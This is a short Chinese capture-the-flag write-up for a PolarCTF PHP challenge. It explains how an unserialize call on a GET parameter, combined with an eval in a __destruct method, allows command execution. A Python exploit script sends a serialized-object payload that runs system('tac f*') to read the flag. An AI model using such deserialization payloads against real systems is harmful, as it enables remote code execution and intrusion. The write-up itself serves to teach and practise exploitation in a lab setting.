Polar Web【简单】php very nice
 
 
 
 
Contents
 
  
 
 
思路
 
 

 
- 由上图中的代码,在Example类中定义了一个
public成员变量,并在魔术函数__destruct中调用了敏感函数 eval - 此外,出现了反序列化函数 
unserialize 的调用,传入 GET 参数 a - 综合上述情况,考虑通过构造参数Payload来覆盖成员变量的值,触发命令执行,获取flag
 
 
EXP
 
import requests
def attack(url, payload):
    url += payload
    res = (requests.get(url).content.decode('utf8'))
    print(res[res.rindex('flag'):res.rindex(';') - 1])
if __name__ == '__main__':
    site = 'http://~.www.polarctf.com:8090/'
    
    pl = '?a=O:7:"Example":1:{s:3:"sys";s:17:"system(\'tac f*\');";}'
    attack(site, pl)
 
运行&总结
 

 
- 本题考查重点是构造反序列化用的序列字符串,以达到变量覆盖,触发命令执行的目的。
 
 
 
 
 敬,不完美的明天